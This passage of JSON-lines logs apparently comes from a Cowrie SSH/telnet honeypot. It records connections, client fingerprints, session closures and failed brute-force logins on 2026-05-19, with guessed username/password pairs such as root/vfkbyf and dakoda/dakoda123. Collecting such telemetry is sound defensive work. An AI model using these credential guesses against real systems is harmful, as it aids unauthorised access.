16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:02.313266Z","src_ip":"103.27.238.114","session":"a40577551956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfkbyf","message":"login attempt [root/vfkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:03.132943Z","src_ip":"103.27.238.114","session":"a40577551956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:04.418154Z","src_ip":"103.27.238.114","session":"a40577551956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":47501,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ff7bab686f2","protocol":"telnet","message":"New connection: 186.195.16.41:47501 (159.203.135.109:23) [session: 4ff7bab686f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:05.757859Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":47468,"dst_ip":"159.203.135.109","dst_port":23,"session":"3573e1ce172f","protocol":"telnet","message":"New connection: 186.195.16.41:47468 (159.203.135.109:23) [session: 3573e1ce172f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:07.055710Z"}
{"eventid":"cowrie.session.closed","duration":49.587077140808105,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:08.763740Z","src_ip":"186.195.16.41","session":"dd835a2c3a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.064138412475586,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:09.073662Z","src_ip":"192.119.13.58","session":"d374bc41513d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":10304,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc37c6c22998","protocol":"ssh","message":"New connection: 213.209.159.56:10304 (10.17.0.5:22) [session: dc37c6c22998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:09.696091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:09.702035Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:09.785147Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda","message":"login attempt [dakoda/dakoda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:10.188049Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.9200439453125,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:10.749204Z","src_ip":"192.119.13.58","session":"98b53fb2110d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda1","message":"login attempt [dakoda/dakoda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:11.273290Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59876,"dst_ip":"10.17.0.5","dst_port":23,"session":"982346019cce","protocol":"telnet","message":"New connection: 192.119.13.58:59876 (10.17.0.5:23) [session: 982346019cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:11.566117Z"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda123","message":"login attempt [dakoda/dakoda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:12.359329Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda1234","message":"login attempt [dakoda/dakoda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:13.451632Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda12345","message":"login attempt [dakoda/dakoda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:14.537578Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:15.624109Z","src_ip":"213.209.159.56","session":"dc37c6c22998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.53514552116394,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:16.818672Z","src_ip":"192.119.13.58","session":"7ef32fa12b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55854,"dst_ip":"10.17.0.5","dst_port":23,"session":"91c9a66b4f89","protocol":"telnet","message":"New connection: 192.119.13.58:55854 (10.17.0.5:23) [session: 91c9a66b4f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:17.295080Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59470,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0e263fe1402","protocol":"telnet","message":"New connection: 192.119.13.58:59470 (10.17.0.5:23) [session: d0e263fe1402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:18.203976Z"}
{"eventid":"cowrie.session.closed","duration":44.199788093566895,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:20.325122Z","src_ip":"192.119.13.58","session":"308f838fab56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42886,"dst_ip":"10.17.0.5","dst_port":23,"session":"30fa576a863f","protocol":"telnet","message":"New connection: 192.119.13.58:42886 (10.17.0.5:23) [session: 30fa576a863f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:21.114231Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1d964166b03","protocol":"telnet","message":"New connection: 192.119.13.58:52670 (10.17.0.5:23) [session: b1d964166b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:23.542723Z"}
{"eventid":"cowrie.session.closed","duration":34.45307970046997,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:25.689635Z","src_ip":"192.119.13.58","session":"b9507a95cd64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36148,"dst_ip":"10.17.0.5","dst_port":23,"session":"363500e3c656","protocol":"telnet","message":"New connection: 192.119.13.58:36148 (10.17.0.5:23) [session: 363500e3c656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:26.480723Z"}
{"eventid":"cowrie.session.closed","duration":51.15658187866211,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:28.373602Z","src_ip":"192.119.13.58","session":"8e80ad23ad78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53152,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce53a03a6f70","protocol":"telnet","message":"New connection: 192.119.13.58:53152 (10.17.0.5:23) [session: ce53a03a6f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:30.572400Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44718,"dst_ip":"10.17.0.5","dst_port":23,"session":"79bf4bdb22af","protocol":"telnet","message":"New connection: 192.119.13.58:44718 (10.17.0.5:23) [session: 79bf4bdb22af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:35.580647Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54210,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a8c1010775","protocol":"telnet","message":"New connection: 192.119.13.58:54210 (10.17.0.5:23) [session: f5a8c1010775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:37.930921Z"}
{"eventid":"cowrie.session.closed","duration":38.86851763725281,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:38.245661Z","src_ip":"192.119.13.58","session":"cc45796460e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.913182497024536,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:39.146755Z","src_ip":"192.119.13.58","session":"0403b09ef328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.849156856536865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:47.415174Z","src_ip":"192.119.13.58","session":"982346019cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36324,"dst_ip":"10.17.0.5","dst_port":23,"session":"3718b757874a","protocol":"telnet","message":"New connection: 192.119.13.58:36324 (10.17.0.5:23) [session: 3718b757874a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:47.805384Z"}
{"eventid":"cowrie.session.closed","duration":44.04286813735962,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:49.800565Z","src_ip":"186.195.16.41","session":"4ff7bab686f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63045382499695,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:50.925390Z","src_ip":"192.119.13.58","session":"91c9a66b4f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55000,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f9d6b928de","protocol":"ssh","message":"New connection: 80.94.92.184:55000 (10.17.0.5:22) [session: 28f9d6b928de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:52.631193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:52.707243Z","src_ip":"80.94.92.184","session":"28f9d6b928de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:52.847633Z","src_ip":"80.94.92.184","session":"28f9d6b928de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:53.442705Z","src_ip":"80.94.92.184","session":"28f9d6b928de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59196,"dst_ip":"10.17.0.5","dst_port":23,"session":"6354d8bea063","protocol":"telnet","message":"New connection: 192.119.13.58:59196 (10.17.0.5:23) [session: 6354d8bea063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:53.554829Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:54.598248Z","src_ip":"80.94.92.184","session":"28f9d6b928de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39862,"dst_ip":"10.17.0.5","dst_port":23,"session":"870ac8a3954d","protocol":"telnet","message":"New connection: 192.119.13.58:39862 (10.17.0.5:23) [session: 870ac8a3954d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:55.973344Z"}
{"eventid":"cowrie.session.closed","duration":42.84043335914612,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:01.044272Z","src_ip":"192.119.13.58","session":"d0e263fe1402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.56820106506348,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:01.623846Z","src_ip":"186.195.16.41","session":"3573e1ce172f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":37074,"dst_ip":"10.17.0.5","dst_port":22,"session":"984093e4a606","protocol":"ssh","message":"New connection: 185.236.22.41:37074 (10.17.0.5:22) [session: 984093e4a606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:03.024840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:03.041307Z","src_ip":"185.236.22.41","session":"984093e4a606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.52922868728638,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:03.071845Z","src_ip":"192.119.13.58","session":"b1d964166b03","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:03.180324Z","src_ip":"185.236.22.41","session":"984093e4a606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"878787","message":"login attempt [root/878787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:03.921290Z","src_ip":"185.236.22.41","session":"984093e4a606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44636,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e5a9a083efa","protocol":"telnet","message":"New connection: 192.119.13.58:44636 (10.17.0.5:23) [session: 7e5a9a083efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:04.016197Z"}
{"eventid":"cowrie.session.closed","duration":37.82248091697693,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:04.303106Z","src_ip":"192.119.13.58","session":"363500e3c656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:05.049471Z","src_ip":"185.236.22.41","session":"984093e4a606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.270761489868164,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:08.842989Z","src_ip":"192.119.13.58","session":"ce53a03a6f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":47282,"dst_ip":"10.17.0.5","dst_port":22,"session":"f115b12889b0","protocol":"ssh","message":"New connection: 176.65.148.108:47282 (10.17.0.5:22) [session: f115b12889b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:09.219212Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:09.307746Z","src_ip":"176.65.148.108","session":"f115b12889b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":47288,"dst_ip":"10.17.0.5","dst_port":22,"session":"72c5343f823d","protocol":"ssh","message":"New connection: 176.65.148.108:47288 (10.17.0.5:22) [session: 72c5343f823d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:09.386144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:09.391778Z","src_ip":"176.65.148.108","session":"72c5343f823d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38256,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6c6d9f131ab","protocol":"telnet","message":"New connection: 192.119.13.58:38256 (10.17.0.5:23) [session: c6c6d9f131ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:09.395836Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:09.474629Z","src_ip":"176.65.148.108","session":"72c5343f823d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123","message":"login attempt [aaa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:09.724999Z","src_ip":"176.65.148.108","session":"72c5343f823d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:10.812392Z","src_ip":"176.65.148.108","session":"72c5343f823d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.13628959655762,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:11.716822Z","src_ip":"192.119.13.58","session":"79bf4bdb22af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6872353553772,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:14.618043Z","src_ip":"192.119.13.58","session":"f5a8c1010775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39002,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61322ef89bb","protocol":"telnet","message":"New connection: 192.119.13.58:39002 (10.17.0.5:23) [session: e61322ef89bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:16.319866Z"}
{"eventid":"cowrie.session.closed","duration":61.608434438705444,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:22.722591Z","src_ip":"192.119.13.58","session":"30fa576a863f","protocol":"telnet"}
